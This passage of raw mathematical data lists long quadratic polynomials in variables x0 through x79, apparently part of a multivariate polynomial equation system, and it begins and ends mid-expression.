x16*x26 + x16*x30 + x16*x31 + x16*x32 + x16*x33 + x16*x37 + x16*x38 + x16*x42 + x16*x43 + x16*x45 + x16*x47 + x16*x49 + x16*x50 + x16*x53 + x16*x55 + x16*x57 + x16*x58 + x16*x60 + x16*x65 + x16*x68 + x16*x69 + x16*x72 + x16*x73 + x16*x74 + x16*x75 + x16*x76 + x16*x78 + x17*x20 + x17*x23 + x17*x28 + x17*x29 + x17*x31 + x17*x37 + x17*x38 + x17*x40 + x17*x41 + x17*x42 + x17*x43 + x17*x44 + x17*x47 + x17*x48 + x17*x49 + x17*x51 + x17*x53 + x17*x54 + x17*x58 + x17*x59 + x17*x65 + x17*x66 + x17*x68 + x17*x69 + x17*x72 + x17*x73 + x17*x76 + x17*x78 + x17 + x18*x19 + x18*x20 + x18*x24 + x18*x25 + x18*x26 + x18*x34 + x18*x37 + x18*x38 + x18*x40 + x18*x41 + x18*x42 + x18*x44 + x18*x46 + x18*x51 + x18*x52 + x18*x54 + x18*x55 + x18*x56 + x18*x58 + x18*x60 + x18*x61 + x18*x64 + x18*x65 + x18*x66 + x18*x67 + x18*x71 + x18*x72 + x18*x74 + x18 + x19*x20 + x19*x21 + x19*x22 + x19*x27 + x19*x30 + x19*x32 + x19*x38 + x19*x40 + x19*x41 + x19*x42 + x19*x44 + x19*x46 + x19*x47 + x19*x50 + x19*x52 + x19*x54 + x19*x61 + x19*x65 + x19*x66 + x19*x67 + x19*x68 + x19*x69 + x19*x71 + x19*x72 + x19*x73 + x19*x74 + x19*x78 + x19*x79 + x20*x21 + x20*x22 + x20*x25 + x20*x27 + x20*x30 + x20*x32 + x20*x33 + x20*x37 + x20*x39 + x20*x40 + x20*x43 + x20*x44 + x20*x45 + x20*x46 + x20*x47 + x20*x48 + x20*x53 + x20*x58 + x20*x59 + x20*x61 + x20*x62 + x20*x63 + x20*x66 + x20*x67 + x20*x70 + x20*x74 + x20*x76 + x20*x79 + x21*x22 + x21*x23 + x21*x25 + x21*x26 + x21*x28 + x21*x29 + x21*x32 + x21*x35 + x21*x37 + x21*x42 + x21*x43 + x21*x44 + x21*x46 + x21*x47 + x21*x48 + x21*x49 + x21*x51 + x21*x52 + x21*x53 + x21*x55 + x21*x56 + x21*x60 + x21*x62 + x21*x64 + x21*x65 + x21*x68 + x21*x70 + x21*x72 + x21*x79 + x21 + x22*x23 + x22*x24 + x22*x27 + x22*x30 + x22*x31 + x22*x32 + x22*x33 + x22*x35 + x22*x36 + x22*x38 + x22*x39 + x22*x41 + x22*x42 + x22*x43 + x22*x47 + x22*x50 + x22*x53 + x22*x57 + x22*x58 + x22*x59 + x22*x60 + x22*x61 + x22*x67 + x22*x69 + x22*x70 + x22*x71 + x22*x72 + x22*x73 + x22*x74 + x22*x75 + x22*x77 + x22*x78 + x22 + x23*x25 + x23*x26 + x23*x29 + x23*x30 + x23*x31 + x23*x34 + x23*x35 + x23*x36 + x23*x41 + x23*x42 + x23*x43 + x23*x44 + x23*x45 + x23*x50 + x23*x51 + x23*x52 + x23*x53 + x23*x57 + x23*x59 + x23*x60 + x23*x61 + x23*x63 + x23*x64 + x23*x65 + x23*x68 + x23*x69 + x23*x70 + x23*x72 + x23*x74 + x23*x75 + x23*x79 + x24*x26 + x24*x27 + x24*x28 + x24*x30 + x24*x31 + x24*x33 + x24*x35 + x24*x36 + x24*x37 + x24*x40 + x24*x41 + x24*x43 + x24*x45 + x24*x48 + x24*x53 + x24*x54 + x24*x58 + x24*x59 + x24*x62 + x24*x63 + x24*x65 + x24*x66 + x24*x68 + x24*x70 + x24*x72 + x24*x73 + x24*x74 + x24*x75 + x24*x78 + x24*x79 + x24 + x25*x28 + x25*x30 + x25*x31 + x25*x32 + x25*x33 + x25*x34 + x25*x37 + x25*x38 + x25*x40 + x25*x42 + x25*x43 + x25*x44 + x25*x48 + x25*x49 + x25*x50 + x25*x51 + x25*x52 + x25*x53 + x25*x55 + x25*x57 + x25*x58 + x25*x59 + x25*x60 + x25*x61 + x25*x63 + x25*x65 + x25*x66 + x25*x67 + x25*x79 + x26*x28 + x26*x32 + x26*x34 + x26*x36 + x26*x37 + x26*x38 + x26*x40 + x26*x44 + x26*x48 + x26*x50 + x26*x51 + x26*x52 + x26*x55 + x26*x57 + x26*x59 + x26*x61 + x26*x64 + x26*x68 + x26*x69 + x26*x72 + x26*x74 + x26*x75 + x26*x78 + x26*x79 + x27*x28 + x27*x30 + x27*x31 + x27*x32 + x27*x33 + x27*x38 + x27*x39 + x27*x40 + x27*x42 + x27*x43 + x27*x44 + x27*x45 + x27*x47 + x27*x48 + x27*x50 + x27*x52 + x27*x53 + x27*x54 + x27*x57 + x27*x58 + x27*x59 + x27*x60 + x27*x61 + x27*x63 + x27*x66 + x27*x69 + x27*x72 + x27*x75 + x27*x77 + x27*x79 + x27 + x28*x29 + x28*x34 + x28*x36 + x28*x37 + x28*x38 + x28*x39 + x28*x41 + x28*x42 + x28*x44 + x28*x45 + x28*x46 + x28*x51 + x28*x52 + x28*x53 + x28*x55 + x28*x59 + x28*x62 + x28*x63 + x28*x65 + x28*x74 + x28*x76 + x28*x77 + x28 + x29*x30 + x29*x31 + x29*x32 + x29*x33 + x29*x34 + x29*x36 + x29*x37 + x29*x38 + x29*x39 + x29*x40 + x29*x44 + x29*x46 + x29*x50 + x29*x51 + x29*x52 + x29*x54 + x29*x56 + x29*x58 + x29*x61 + x29*x63 + x29*x64 + x29*x65 + x29*x66 + x29*x68 + x29*x69 + x29*x71 + x29*x72 + x29*x73 + x29*x75 + x30*x32 + x30*x33 + x30*x34 + x30*x39 + x30*x42 + x30*x43 + x30*x51 + x30*x54 + x30*x56 + x30*x57 + x30*x58 + x30*x61 + x30*x63 + x30*x65 + x30*x70 + x30*x71 + x30*x72 + x30*x73 + x30*x75 + x30*x79 + x30 + x31*x33 + x31*x34 + x31*x35 + x31*x36 + x31*x38 + x31*x40 + x31*x42 + x31*x44 + x31*x46 + x31*x51 + x31*x53 + x31*x54 + x31*x55 + x31*x56 + x31*x59 + x31*x61 + x31*x62 + x31*x64 + x31*x67 + x31*x69 + x31*x70 + x31*x71 + x31*x75 + x31*x76 + x31*x77 + x31*x78 + x32*x34 + x32*x36 + x32*x38 + x32*x42 + x32*x46 + x32*x47 + x32*x49 + x32*x51 + x32*x54 + x32*x55 + x32*x56 + x32*x57 + x32*x63 + x32*x64 + x32*x66 + x32*x68 + x32*x71 + x32*x74 + x32*x75 + x32*x77 + x32*x78 + x32 + x33*x34 + x33*x35 + x33*x36 + x33*x37 + x33*x41 + x33*x42 + x33*x44 + x33*x45 + x33*x51 + x33*x52 + x33*x53 + x33*x55 + x33*x57 + x33*x62 + x33*x63 + x33*x64 + x33*x65 + x33*x66 + x33*x67 + x33*x70 + x33*x71 + x33*x72 + x33*x75 + x33*x78 + x34*x35 + x34*x39 + x34*x40 + x34*x41 + x34*x42 + x34*x43 + x34*x44 + x34*x46 + x34*x48 + x34*x49 + x34*x51 + x34*x52 + x34*x55 + x34*x56 + x34*x57 + x34*x59 + x34*x60 + x34*x64 + x34*x65 + x34*x69 + x34*x70 + x34*x71 + x34*x72 + x34*x74 + x34*x75 + x34*x76 + x34 + x35*x36 + x35*x37 + x35*x39 + x35*x40 + x35*x44 + x35*x45 + x35*x47 + x35*x48 + x35*x50 + x35*x52 + x35*x53 + x35*x54 + x35*x56 + x35*x57 + x35*x59 + x35*x61 + x35*x62 + x35*x63 + x35*x70 + x35*x71 + x35*x75 + x35*x76 + x35*x77 + x35*x78 + x35*x79 + x36*x38 + x36*x40 + x36*x42 + x36*x43 + x36*x44 + x36*x45 + x36*x46 + x36*x47 + x36*x48 + x36*x49 + x36*x50 + x36*x53 + x36*x54 + x36*x55 + x36*x57 + x36*x58 + x36*x59 + x36*x60 + x36*x62 + x36*x68 + x36*x69 + x36*x72 + x36*x73 + x36*x74 + x36*x75 + x36*x79 + x36 + x37*x38 + x37*x40 + x37*x42 + x37*x43 + x37*x45 + x37*x46 + x37*x48 + x37*x53 + x37*x55 + x37*x59 + x37*x60 + x37*x62 + x37*x65 + x37*x67 + x37*x68 + x37*x72 + x37*x73 + x37*x74 + x37*x75 + x38*x39 + x38*x41 + x38*x42 + x38*x44 + x38*x45 + x38*x49 + x38*x51 + x38*x54 + x38*x55 + x38*x58 + x38*x60 + x38*x62 + x38*x64 + x38*x66 + x38*x70 + x38*x71 + x38*x73 + x38*x74 + x38*x76 + x38*x77 + x38*x79 + x38 + x39*x40 + x39*x41 + x39*x42 + x39*x44 + x39*x45 + x39*x46 + x39*x49 + x39*x52 + x39*x53 + x39*x60 + x39*x61 + x39*x62 + x39*x64 + x39*x65 + x39*x66 + x39*x67 + x39*x69 + x39*x70 + x39*x72 + x39*x73 + x39*x76 + x39*x77 + x39*x79 + x40*x41 + x40*x42 + x40*x43 + x40*x50 + x40*x51 + x40*x52 + x40*x54 + x40*x55 + x40*x57 + x40*x61 + x40*x63 + x40*x65 + x40*x68 + x40*x69 + x40*x71 + x40*x74 + x40*x76 + x40*x77 + x40*x78 + x40*x79 + x41*x45 + x41*x49 + x41*x50 + x41*x51 + x41*x53 + x41*x55 + x41*x57 + x41*x58 + x41*x62 + x41*x64 + x41*x66 + x41*x67 + x41*x70 + x41*x75 + x41*x77 + x41 + x42*x43 + x42*x49 + x42*x50 + x42*x53 + x42*x55 + x42*x56 + x42*x58 + x42*x61 + x42*x63 + x42*x64 + x42*x65 + x42*x66 + x42*x67 + x42*x68 + x42*x71 + x42*x72 + x42*x73 + x42*x74 + x42*x79 + x42 + x43*x44 + x43*x45 + x43*x46 + x43*x47 + x43*x48 + x43*x49 + x43*x52 + x43*x53 + x43*x54 + x43*x56 + x43*x59 + x43*x60 + x43*x65 + x43*x67 + x43*x71 + x43*x72 + x43*x73 + x43*x74 + x43*x77 + x43*x78 + x43*x79 + x43 + x44*x46 + x44*x49 + x44*x54 + x44*x56 + x44*x58 + x44*x61 + x44*x64 + x44*x66 + x44*x67 + x44*x68 + x44*x71 + x44*x72 + x44*x73 + x44*x75 + x44*x77 + x44*x78 + x44*x79 + x44 + x45*x47 + x45*x48 + x45*x50 + x45*x51 + x45*x53 + x45*x54 + x45*x59 + x45*x60 + x45*x64 + x45*x66 + x45*x67 + x45*x68 + x45*x69 + x45*x72 + x45*x73 + x45*x74 + x45*x75 + x45*x76 + x45*x78 + x46*x48 + x46*x50 + x46*x53 + x46*x54 + x46*x55 + x46*x56 + x46*x58 + x46*x59 + x46*x63 + x46*x65 + x46*x69 + x46*x70 + x46*x71 + x46*x73 + x46*x74 + x46*x75 + x46*x78 + x46 + x47*x48 + x47*x55 + x47*x56 + x47*x59 + x47*x61 + x47*x62 + x47*x65 + x47*x67 + x47*x68 + x47*x75 + x47*x76 + x47*x77 + x47*x78 + x47*x79 + x48*x50 + x48*x61 + x48*x62 + x48*x63 + x48*x64 + x48*x65 + x48*x66 + x48*x67 + x48*x68 + x48*x69 + x48*x70 + x48*x72 + x48*x76 + x48*x78 + x48*x79 + x49*x52 + x49*x53 + x49*x55 + x49*x57 + x49*x59 + x49*x61 + x49*x63 + x49*x64 + x49*x65 + x49*x67 + x49*x69 + x49*x72 + x49*x75 + x49*x77 + x49*x78 + x49 + x50*x51 + x50*x52 + x50*x57 + x50*x59 + x50*x60 + x50*x61 + x50*x62 + x50*x64 + x50*x67 + x50*x68 + x50*x74 + x50*x75 + x50*x76 + x50*x77 + x50*x78 + x50*x79 + x50 + x51*x52 + x51*x53 + x51*x55 + x51*x56 + x51*x57 + x51*x61 + x51*x62 + x51*x63 + x51*x67 + x51*x70 + x51*x72 + x51*x75 + x51*x77 + x51*x79 + x51 + x52*x53 + x52*x55 + x52*x56 + x52*x57 + x52*x58 + x52*x59 + x52*x61 + x52*x62 + x52*x63 + x52*x64 + x52*x66 + x52*x67 + x52*x69 + x52*x71 + x52*x72 + x52*x77 + x52*x78 + x52*x79 + x53*x55 + x53*x57 + x53*x59 + x53*x60 + x53*x64 + x53*x68 + x53*x71 + x53*x72 + x53*x73 + x53*x74 + x53*x75 + x53*x77 + x53*x78 + x53 + x54*x56 + x54*x57 + x54*x59 + x54*x60 + x54*x61 + x54*x62 + x54*x63 + x54*x69 + x54*x71 + x54*x73 + x54*x76 + x54*x77 + x54*x78 + x54*x79 + x55*x56 + x55*x57 + x55*x58 + x55*x59 + x55*x63 + x55*x64 + x55*x65 + x55*x68 + x55*x69 + x55*x70 + x55*x71 + x55*x74 + x55*x76 + x56*x57 + x56*x58 + x56*x62 + x56*x63 + x56*x66 + x56*x67 + x56*x69 + x56*x70 + x56*x72 + x56*x73 + x56*x74 + x56*x78 + x57*x59 + x57*x60 + x57*x61 + x57*x63 + x57*x64 + x57*x68 + x57*x69 + x57*x70 + x57*x71 + x57*x74 + x57*x79 + x58*x60 + x58*x62 + x58*x64 + x58*x65 + x58*x68 + x58*x69 + x58*x75 + x58*x78 + x58*x79 + x59*x60 + x59*x61 + x59*x62 + x59*x63 + x59*x66 + x59*x73 + x59*x74 + x59*x75 + x59*x77 + x59*x79 + x60*x63 + x60*x65 + x60*x66 + x60*x67 + x60*x70 + x60*x71 + x60*x73 + x60*x75 + x60*x78 + x60 + x61*x62 + x61*x64 + x61*x65 + x61*x66 + x61*x67 + x61*x68 + x61*x69 + x61*x71 + x61*x77 + x62*x63 + x62*x66 + x62*x67 + x62*x72 + x62*x73 + x62*x76 + x62*x78 + x62*x79 + x63*x64 + x63*x65 + x63*x66 + x63*x69 + x63*x70 + x63*x72 + x63*x73 + x63*x74 + x63*x78 + x63*x79 + x64*x68 + x64*x71 + x64*x72 + x64*x73 + x64*x74 + x64*x77 + x64*x79 + x65*x66 + x65*x67 + x65*x69 + x65*x70 + x65*x71 + x65*x72 + x65*x76 + x65*x78 + x65*x79 + x65 + x66*x67 + x66*x68 + x66*x70 + x66*x72 + x66*x73 + x66*x74 + x66*x79 + x66 + x67*x69 + x67*x70 + x67*x71 + x67*x73 + x67*x74 + x67*x76 + x67 + x68*x72 + x68*x73 + x68*x74 + x68*x76 + x68*x77 + x68*x79 + x69*x70 + x69*x73 + x69*x76 + x69*x78 + x69 + x70*x75 + x70*x76 + x70*x79 + x70 + x71*x72 + x71*x73 + x71*x78 + x71*x79 + x72*x75 + x72*x78 + x72 + x73*x77 + x73*x78 + x74*x77 + x74*x78 + x74*x79 + x74 + x75*x76 + x75*x79 + x76*x77 + x76*x79 + x77*x79 + x78 + 1, x0*x11 + x0*x12 + x0*x13 + x0*x14 + x0*x15 + x0*x17 + x0*x23 + x0*x24 + x0*x25 + x0*x26 + x0*x27 + x0*x28 + x0*x31 + x0*x32 + x0*x34 + x0*x35 + x0*x36 + x0*x39 + x0*x43 + x0*x44 + x0*x46 + x0*x49 + x0*x51 + x0*x52 + x0*x53 + x0*x54 + x0*x58 + x0*x60 + x0*x61 + x0*x63 + x0*x64 + x0*x66 + x0*x74 + x0*x76 + x1*x2 + x1*x4 + x1*x5 + x1*x7 + x1*x9 + x1*x11 + x1*x12 + x1*x14 + x1*x16 + x1*x17 + x1*x18 + x1*x20 + x1*x24 + x1*x25 + x1*x27 + x1*x29 + x1*x33 + x1*x34 + x1*x35 + x1*x40 + x1*x41 + x1*x42 + x1*x43 + x1*x44 + x1*x46 + x1*x47 + x1*x48 + x1*x50 + x1*x53 + x1*x54 + x1*x55 + x1*x58 + x1*x61 + x1*x65 + x1*x66 + x1*x67 + x1*x68 + x1*x69 + x1*x71 + x1*x74 + x1*x76 + x1*x78 + x2*x3 + x2*x5 + x2*x7 + x2*x8 + x2*x10 + x2*x14 + x2*x15 + x2*x16 + x2*x18 + x2*x22 + x2*x23 + x2*x24 + x2*x25 + x2*x26 + x2*x29 + x2*x31 + x2*x33 + x2*x35 + x2*x36 + x2*x38 + x2*x39 + x2*x41 + x2*x47 + x2*x49 + x2*x50 + x2*x53 + x2*x57 + x2*x58 + x2*x59 + x2*x60 + x2*x63 + x2*x65 + x2*x66 + x2*x67 + x2*x70 + x2*x72 + x2*x74 + x2*x76 + x3*x4 + x3*x5 + x3*x8 + x3*x10 + x3*x12 + x3*x13 + x3*x16 + x3*x19 + x3*x20 + x3*x21 + x3*x22 + x3*x23 + x3*x24 + x3*x27 + x3*x28 + x3*x30 + x3*x31 + x3*x32 + x3*x36 + x3*x37 + x3*x38 + x3*x40 + x3*x43 + x3*x44 + x3*x47 + x3*x48 + x3*x50 + x3*x51 + x3*x53 + x3*x54 + x3*x55 + x3*x56 + x3*x57 + x3*x58 + x3*x63 + x3*x65 + x3*x68 + x3*x69 + x3*x70 + x3*x78 + x3 + x4*x6 + x4*x7 + x4*x10 + x4*x11 + x4*x14 + x4*x15 + x4*x17 + x4*x18 + x4*x20 + x4*x22 + x4*x23 + x4*x30 + x4*x31 + x4*x34 + x4*x35 + x4*x42 + x4*x44 + x4*x46 + x4*x49 + x4*x52 + x4*x60 + x4*x61 + x4*x64 + x4*x66 + x4*x68 + x4*x69 + x4*x71 + x4*x75 + x4*x76 + x4*x78 + x4*x79 + x5*x7 + x5*x8 + x5*x10 + x5*x11 + x5*x12 + x5*x14 + x5*x19 + x5*x20 + x5*x21 + x5*x22 + x5*x24 + x5*x30 + x5*x33 + x5*x36 + x5*x37 + x5*x38 + x5*x41 + x5*x43 + x5*x45 + x5*x46 + x5*x47 + x5*x48 + x5*x51 + x5*x52 + x5*x58 + x5*x60 + x5*x62 + x5*x63 + x5*x64 + x5*x65 + x5*x68 + x5*x70 + x5*x73 + x5*x75 + x5*x76 + x5 + x6*x10 + x6*x12 + x6*x13 + x6*x18 + x6*x19 + x6*x20 + x6*x21 + x6*x22 + x6*x23 + x6*x26 + x6*x27 + x6*x28 + x6*x29 + x6*x30 + x6*x34 + x6*x35 + x6*x38 + x6*x39 + x6*x42 + x6*x43 + x6*x45 + x6*x46 + x6*x47 + x6*x48 + x6*x49 + x6*x52 + x6*x53 + x6*x54 + x6*x55 + x6*x56 + x6*x57 + x6*x58 + x6*x60 + x6*x61 + x6*x65 + x6*x66 + x6*x68 + x6*x69 + x6*x70 + x6*x71 + x6*x75 + x6*x77 + x6 + x7*x10 + x7*x16 + x7*x17 + x7*x20 + x7*x21 + x7*x23 + x7*x24 + x7*x25 + x7*x26 + x7*x27 + x7*x28 + x7*x29 + x7*x32 + x7*x34 + x7*x38 + x7*x40 + x7*x41 + x7*x42 + x7*x44 + x7*x47 + x7*x49 + x7*x51 + x7*x53 + x7*x54 + x7*x60 + x7*x62 + x7*x66 + x7*x67 + x7*x69 + x7*x70 + x7*x71 + x7*x73 + x7*x74 + x7*x75 + x7*x76 + x7*x78 + x7*x79 + x7 + x8*x9 + x8*x10 + x8*x12 + x8*x17 + x8*x19 + x8*x20 + x8*x22 + x8*x25 + x8*x26 + x8*x28 + x8*x31 + x8*x34 + x8*x37 + x8*x39 + x8*x40 + x8*x49 + x8*x52 + x8*x55 + x8*x57 + x8*x58 + x8*x60 + x8*x61 + x8*x63 + x8*x64 + x8*x66 + x8*x67 + x8*x70 + x8*x71 + x8*x72 + x8*x73 + x8*x75 + x8*x79 + x8 + x9*x11 + x9*x12 + x9*x14 + x9*x17 + x9*x18 + x9*x19 + x9*x21 + x9*x23 + x9*x24 + x9*x25 + x9*x29 + x9*x30 + x9*x32 + x9*x33 + x9*x34 + x9*x37 + x9*x38 + x9*x43 + x9*x47 + x9*x49 + x9*x52 + x9*x53 + x9*x54 + x9*x61 + x9*x63 + x9*x64 + x9*x65 + x9*x68 + x9*x70 + x9*x71 + x9*x72 + x9*x75 + x9*x76 + x9*x77 + x9*x78 + x10*x12 + x10*x13 + x10*x14 + x10*x17 + x10*x19 + x10*x20 + x10*x22 + x10*x28 + x10*x30 + x10*x31 + x10*x32 + x10*x35 + x10*x39 + x10*x40 + x10*x43 + x10*x45 + x10*x48 + x10*x49 + x10*x50 + x10*x52 + x10*x53 + x10*x55 + x10*x56 + x10*x57 + x10*x62 + x10*x65 + x10*x66 + x10*x70 + x10*x72 + x10*x73 + x10*x79 + x11*x12 + x11*x15 + x11*x16 + x11*x17 + x11*x20 + x11*x21 + x11*x22 + x11*x24 + x11*x25 + x11*x29 + x11*x30 + x11*x31 + x11*x32 + x11*x34 + x11*x35 + x11*x36 + x11*x41 + x11*x43 + x11*x44 + x11*x45 + x11*x48 + x11*x49 + x11*x50 + x11*x52 + x11*x53 + x11*x55 + x11*x56 + x11*x57 + x11*x60 + x11*x63 + x11*x66 + x11*x67 + x11*x70 + x11*x72 + x11 + x12*x19 + x12*x20 + x12*x21 + x12*x22 + x12*x24 + x12*x26 + x12*x27 + x12*x30 + x12*x33 + x12*x34 + x12*x35 + x12*x36 + x12*x38 + x12*x43 + x12*x44 + x12*x46 + x12*x47 + x12*x50 + x12*x52 + x12*x53 + x12*x54 + x12*x56 + x12*x57 + x12*x61 + x12*x64 + x12*x65 + x12*x69 + x12*x70 + x12*x73 + x12*x74 + x12*x75 + x12*x76 + x12*x77 + x12*x78 + x13*x14 + x13*x16 + x13*x23 + x13*x24 + x13*x26 + x13*x27 + x13*x28 + x13*x30 + x13*x34 + x13*x35 + x13*x36 + x13*x37 + x13*x38 + x13*x42 + x13*x43 + x13*x46 + x13*x47 + x13*x48 + x13*x53 + x13*x54 + x13*x59 + x13*x60 + x13*x64 + x13*x65 + x13*x66 + x13*x69 + x13*x70 + x13*x72 + x13*x75 + x13*x77 + x13*x78 + x13 + x14*x18 + x14*x20 + x14*x21 + x14*x23 + x14*x24 + x14*x27 + x14*x29 + x14*x32 + x14*x33 + x14*x34 + x14*x35 + x14*x38 + x14*x39 + x14*x40 + x14*x41 + x14*x42 + x14*x43 + x14*x44 + x14*x45 + x14*x46 + x14*x47 + x14*x50 + x14*x51 + x14*x52 + x14*x53 + x14*x55 + x14*x58 + x14*x70 + x14*x71 + x14*x73 + x14*x77 + x15*x19 + x15*x20 + x15*x22 + x15*x24 + x15*x25 + x15*x28 + x15*x29 + x15*x32 + x15*x33 + x15*x34 + x15*x36 + x15*x37 + x15*x38 + x15*x41 + x15*x42 + x15*x48 + x15*x49 + x15*x55 + x15*x56 + x15*x58 + x15*x61 + x15*x63 + x15*x64 + x15*x65 + x15*x66 + x15*x68 + x15*x69 + x15*x72 + x15*x73 + x15*x74 + x15*x75 + x16*x17 + x16*x19 + x16*x22 + x16*x23 + x16*x24 + x16*x26 + x16*x27 + x16*x29 + x16*x33 + x16*x34 + x16*x35 + x16*x36 + x16*x38 + x16*x39 + x16*x41 + x16*x42 + x16*x44 + x16*x45 + x16*x49 + x16*x50 + x16*x51 + x16*x52 + x16*x56 + x16*x58 + x16*x60 + x16*x62 + x16*x65 + x16*x66 + x16*x68 + x16*x69 + x16*x72 + x16*x73 + x16*x75 + x16*x79 + x17*x19 + x17*x23 + x17*x27 + x17*x28 + x17*x32 + x17*x33 + x17*x35 + x17*x36 + x17*x37 + x17*x39 + x17*x41 + x17*x42 + x17*x43 + x17*x44 + x17*x45 + x17*x46 + x17*x47 + x17*x48 + x17*x49 + x17*x50 + x17*x51 + x17*x52 + x17*x53 + x17*x54 + x17*x57 + x17*x59 + x17*x63 + x17*x64 + x17*x65 + x17*x68 + x17*x69 + x17*x70 + x17*x72 + x17*x76 + x17*x77 + x18*x23 + x18*x24 + x18*x25 + x18*x26 + x18*x28 + x18*x29 + x18*x31 + x18*x34 + x18*x35 + x18*x37 + x18*x39 + x18*x40 + x18*x41 + x18*x42 + x18*x43 + x18*x46 + x18*x49 + x18*x50 + x18*x52 + x18*x57 + x18*x58 + x18*x59 + x18*x61 + x18*x62 + x18*x63 + x18*x64 + x18*x65 + x18*x70 + x18*x75 + x18*x78 + x19*x20 + x19*x22 + x19*x23 + x19*x24 + x19*x29 + x19*x32 + x19*x38 + x19*x42 + x19*x46 + x19*x48 + x19*x49 + x19*x52 + x19*x53 + x19*x55 + x19*x56 + x19*x59 + x19*x62 + x19*x63 + x19*x64 + x19*x66 + x19*x67 + x19*x71 + x19*x72 + x19*x77 + x19*x78 + x19 + x20*x22 + x20*x23 + x20*x25 + x20*x26 + x20*x28 + x20*x30 + x20*x31 + x20*x33 + x20*x35 + x20*x36 + x20*x38 + x20*x41 + x20*x43 + x20*x44 + x20*x47 + x20*x49 + x20*x51 + x20*x53 + x20*x54 + x20*x55 + x20*x56 + x20*x59 + x20*x61 + x20*x62 + x20*x63 + x20*x64 + x20*x65 + x20*x66 + x20*x68 + x20*x70 + x20*x76 + x20*x79 + x20 + x21*x23 + x21*x24 + x21*x25 + x21*x26 + x21*x28 + x21*x29 + x21*x32 + x21*x36 + x21*x39 + x21*x40 + x21*x42 + x21*x43 + x21*x46 + x21*x47 + x21*x53 + x21*x54 + x21*x56 + x21*x57 + x21*x59 + x21*x61 + x21*x62 + x21*x63 + x21*x64 + x21*x65 + x21*x68 + x21*x70 + x21*x73 + x21*x74 + x21*x75 + x21*x79 + x21 + x22*x23 + x22*x24 + x22*x29 + x22*x31 + x22*x35 + x22*x36 + x22*x37 + x22*x40 + x22*x42 + x22*x46 + x22*x47 + x22*x51 + x22*x55 + x22*x62 + x22*x64 + x22*x68 + x22*x70 + x22*x71 + x22*x72 + x22*x74 + x22*x76 + x22*x78 + x22 + x23*x25 + x23*x26 + x23*x27 + x23*x29 + x23*x31 + x23*x32 + x23*x34 + x23*x35 + x23*x36 + x23*x38 + x23*x40 + x23*x42 + x23*x43 + x23*x45 + x23*x46 + x23*x51 + x23*x52 + x23*x55 + x23*x57 + x23*x58 + x23*x68 + x23*x74 + x23*x79 + x24*x25 + x24*x26 + x24*x27 + x24*x28 + x24*x31 + x24*x33 + x24*x35 + x24*x40 + x24*x42 + x24*x43 + x24*x44 + x24*x45 + x24*x47 + x24*x50 + x24*x51 + x24*x52 + x24*x54 + x24*x55 + x24*x57 + x24*x64 + x24*x66 + x24*x67 + x24*x74 + x25*x26 + x25*x27 + x25*x32 + x25*x34 + x25*x35 + x25*x37 + x25*x38 + x25*x39 + x25*x41 + x25*x43 + x25*x44 + x25*x45 + x25*x47 + x25*x48 + x25*x50 + x25*x51 + x25*x53 + x25*x54 + x25*x56 + x25*x58 + x25*x60 + x25*x63 + x25*x64 + x25*x70 + x25*x73 + x25*x76 + x25*x77 + x25*x78 + x25 + x26*x28 + x26*x30 + x26*x33 + x26*x34 + x26*x35 + x26*x39 + x26*x40 + x26*x41 + x26*x43 + x26*x44 + x26*x48 + x26*x49 + x26*x50 + x26*x52 + x26*x53 + x26*x54 + x26*x56 + x26*x57 + x26*x58 + x26*x59 + x26*x60 + x26*x67 + x26*x69 + x26*x70 + x26*x71 + x26*x72 + x26*x74 + x26*x76 + x26*x78 + x26*x79 + x27*x28 + x27*x30 + x27*x31 + x27*x32 + x27*x35 + x27*x37 + x27*x40 + x27*x43 + x27*x44 + x27*x46 + x27*x47 + x27*x48 + x27*x49 + x27*x50 + x27*x51 + x27*x53 + x27*x54 + x27*x56 + x27*x57 + x27*x59 + x27*x61 + x27*x62 + x27*x64 + x27*x69 + x27*x71 + x27*x73 + x27*x74 + x27*x77 + x27*x78 + x27*x79 + x28*x29 + x28*x32 + x28*x33 + x28*x35 + x28*x36 + x28*x39 + x28*x42 + x28*x43 + x28*x47 + x28*x49 + x28*x52 + x28*x54 + x28*x55 + x28*x57 + x28*x58 + x28*x59 + x28*x62 + x28*x63 + x28*x68 + x28*x69 + x28*x71 + x28*x72 + x28*x73 + x28*x74 + x28*x75 + x28*x78 + x28*x79 + x28 + x29*x30 + x29*x31 + x29*x32 + x29*x36 + x29*x37 + x29*x38 + x29*x41 + x29*x42 + x29*x45 + x29*x46 + x29*x48 + x29*x52 + x29*x54 + x29*x55 + x29*x60 + x29*x61 + x29*x63 + x29*x64 + x29*x65 + x29*x67 + x29*x68 + x29*x69 + x29*x71 + x29*x72 + x29*x74 + x29*x77 + x29*x79 + x30*x31 + x30*x33 + x30*x34 + x30*x35 + x30*x38 + x30*x43 + x30*x45 + x30*x49 + x30*x50 + x30*x51 + x30*x56 + x30*x57 + x30*x59 + x30*x60 + x30*x63 + x30*x65 + x30*x67 + x30*x68 + x30*x69 + x30*x70 + x30*x71 + x30*x73 + x30*x74 + x30*x75 + x30*x76 + x30*x78 + x30*x79 + x31*x33 + x31*x35 + x31*x36 + x31*x37 + x31*x38 + x31*x39 + x31*x40 + x31*x41 + x31*x42 + x31*x43 + x31*x46 + x31*x47 + x31*x48 + x31*x50 + x31*x52 + x31*x53 + x31*x54 + x31*x56 + x31*x57 + x31*x60 + x31*x63 + x31*x67 + x31*x68 + x31*x71 + x31*x72 + x32*x35 + x32*x37 + x32*x45 + x32*x46 + x32*x50 + x32*x51 + x32*x52 + x32*x53 + x32*x54 + x32*x56 + x32*x59 + x32*x61 + x32*x63 + x32*x64 + x32*x67 + x32*x68 + x32*x70 + x32*x72 + x32*x73 + x32*x77 + x32*x79 + x33*x34 + x33*x38 + x33*x39 + x33*x42 + x33*x48 + x33*x49 + x33*x51 + x33*x56 + x33*x57 + x33*x58 + x33*x59 + x33*x60 + x33*x62 + x33*x64 + x33*x65 + x33*x66 + x33*x69 + x33*x70 + x33*x75 + x33*x77 + x33*x79 + x33 + x34*x35 + x34*x36 + x34*x38 + x34*x39 + x34*x41 + x34*x45 + x34*x47 + x34*x49 + x34*x52 + x34*x53 + x34*x55 + x34*x56 + x34*x61 + x34*x64 + x34*x66 + x34*x67 + x34*x68 + x34*x69 + x34*x70 + x34*x71 + x34*x72 + x34*x73 + x34*x74 + x34*x75 + x34*x76 + x34*x77 + x34*x78 + x34*x79 + x34 + x35*x36 + x35*x40 + x35*x41 + x35*x42 + x35*x43 + x35*x44 + x35*x45 + x35*x48 + x35*x50 + x35*x56 + x35*x61 + x35*x63 + x35*x66 + x35*x67 + x35*x68 + x35*x70 + x35*x73 + x35*x75 + x35 + 